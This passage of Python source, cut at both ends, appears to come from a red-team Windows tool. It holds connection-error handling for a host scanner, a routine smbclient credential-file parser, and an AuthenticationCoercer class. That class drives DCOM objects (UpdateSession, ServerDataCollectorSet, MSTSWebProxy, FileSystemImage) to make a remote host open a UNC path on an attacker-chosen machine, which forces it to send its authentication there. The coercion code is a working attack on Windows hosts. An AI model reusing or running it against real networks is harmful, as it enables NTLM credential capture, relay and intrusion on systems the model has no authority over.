except (Exception) as e:
if str(e).find("No route to host") >= 0:
logging.debug("No route to host")
print(text_yellow + "[!] No route to host %+66s" % self.__address + text_end)
if self.__output != None:
output_file = open(self.__output, "a")
output_file.write("[!] No route to host," + self.__address + "\n")
output_file.close()
elif str(e).find("Network is unreachable") >= 0:
logging.debug("Network is unreachable")
print(text_yellow + "[!] Network is unreachable %+60s" % self.__address + text_end)
if self.__output != None:
output_file = open(self.__output, "a")
output_file.write("[!] Network is unreachable," + self.__address + "\n")
output_file.close()
elif str(e).find("timed out") >= 0:
logging.debug("Connection timed out")
print(text_yellow + "[!] Connection timed out %+62s" % self.__address + text_end)
if self.__output != None:
output_file = open(self.__output, "a")
output_file.write("[!] Connection timed out," + self.__address + "\n")
output_file.close()
elif str(e).find("Connection refused") >= 0:
logging.debug("Connection refused")
print(text_yellow + "[!] Connection refused %+64s" % self.__address + text_end)
if self.__output != None:
output_file = open(self.__output, "a")
output_file.write("[!] Connection refused," + self.__address + "\n")
output_file.close()
else:
logging.debug("Unkown error: " + str(e) + " for " + self.__address)
if self.__output != None:
output_file = open(self.__output, "a")
output_file.write("[!] Unknown error," + self.__address + "\n")
output_file.close()
except KeyboardInterrupt:
sys.exit(0)
class AuthenticationCoercer():
def __init__(self, executeUNCpath, auth_to, dcom):
self._executeUNCpath = executeUNCpath
self._auth_to = auth_to
self.__dcom = dcom
self.execute_remote()
def execute_remote(self):
tmpShare = ''.join([random.choice(string.ascii_letters) for _ in range(4)])
tmpName = ''.join([random.choice(string.ascii_letters) for _ in range(4)])
tmpFileName = tmpName + '.txt'
UNCpath = "\\\\%s\\%s\\%s" % (self._auth_to, tmpShare, tmpFileName)
logging.debug('Setting UNC path: %s' % UNCpath)
if (self.__dcom == "UpdateSession" or self.__dcom == "ServerDataCollectorSet" or self.__dcom == None):
dispParams = DISPPARAMS(None, False)
dispParams['rgdispidNamedArgs'] = NULL
dispParams['cArgs'] = 2
dispParams['cNamedArgs'] = 0
arg0 = VARIANT(None, False)
arg0['clSize'] = 5
arg0['vt'] = VARENUM.VT_BSTR
arg0['_varUnion']['tag'] = VARENUM.VT_BSTR
arg0['_varUnion']['bstrVal']['asData'] = "XFORCERED"
arg1 = VARIANT(None, False)
arg1['clSize'] = 5
arg1['vt'] = VARENUM.VT_BSTR
arg1['_varUnion']['tag'] = VARENUM.VT_BSTR
arg1['_varUnion']['bstrVal']['asData'] = UNCpath
if (self.__dcom == "UpdateSession"):
dispParams['rgvarg'].append(arg1)
dispParams['rgvarg'].append(arg0)
elif (self.__dcom == "ServerDataCollectorSet" or self.__dcom == None):
dispParams['rgvarg'].append(arg0)
dispParams['rgvarg'].append(arg1)
self._executeUNCpath[0].Invoke(self._executeUNCpath[1], 0x409, DISPATCH_METHOD, dispParams, 0, [], [])
elif (self.__dcom == "MSTSWebProxy"):
dispParams = DISPPARAMS(None, False)
dispParams['rgdispidNamedArgs'] = NULL
dispParams['cArgs'] = 2
dispParams['cNamedArgs'] = 0
arg0 = VARIANT(None, False)
arg0['clSize'] = 5
arg0['vt'] = VARENUM.VT_BSTR
arg0['_varUnion']['tag'] = VARENUM.VT_BSTR
arg0['_varUnion']['bstrVal']['asData'] = "C:\\windows\\syswow64\\mstsc.exe"
arg1 = VARIANT(None, False)
arg1['clSize'] = 5
arg1['vt'] = VARENUM.VT_BSTR
arg1['_varUnion']['tag'] = VARENUM.VT_BSTR
arg1['_varUnion']['bstrVal']['asData'] = "/edit " + UNCpath
dispParams['rgvarg'].append(arg1)
dispParams['rgvarg'].append(arg0)
self._executeUNCpath[0].Invoke(self._executeUNCpath[1], 0x409, DISPATCH_METHOD, dispParams, 0, [], [])
elif(self.__dcom == "FileSystemImage"):
# Convert -3 to unsigned 32-bit
DISPID_PROPERTYPUT = 0xFFFFFFFD
dispParams = DISPPARAMS(None, False)
dispParams['rgvarg'] = []
dispParams['rgdispidNamedArgs'] = [DISPID_PROPERTYPUT]
dispParams['cArgs'] = 1
dispParams['cNamedArgs'] = 1
arg0 = VARIANT(None, False)
arg0['clSize'] = 12
arg0['vt'] = VARENUM.VT_BSTR
arg0['_varUnion']['tag'] = VARENUM.VT_BSTR
arg0['_varUnion']['bstrVal']['asData'] = UNCpath
dispParams['rgvarg'].append(arg0)
self._executeUNCpath[0].Invoke(self._executeUNCpath[1], 0x000, DISPATCH_PROPERTYPUT, dispParams, 0, [], [])
class AuthFileSyntaxError(Exception):
'''raised by load_smbclient_auth_file if it encounters a syntax error
while loading the smbclient-style authentication file.'''
def __init__(self, path, lineno, reason):
self.path=path
self.lineno=lineno
self.reason=reason
def __str__(self):
return 'Syntax error in auth file %s line %d: %s' % (
self.path, self.lineno, self.reason )
def load_smbclient_auth_file(path):
'''Load credentials from an smbclient-style authentication file (used by
smbclient, mount.cifs and others). returns (domain, username, password)
or raises AuthFileSyntaxError or any I/O exceptions.'''
lineno=0
domain=None
username=None
password=None
for line in open(path):
lineno+=1
line = line.strip()
if line.startswith('#') or line=='':
continue
parts = line.split('=',1)
if len(parts) != 2:
raise AuthFileSyntaxError(path, lineno, 'No "=" present in line')
(k,v) = (parts[0].strip(), parts[1].strip())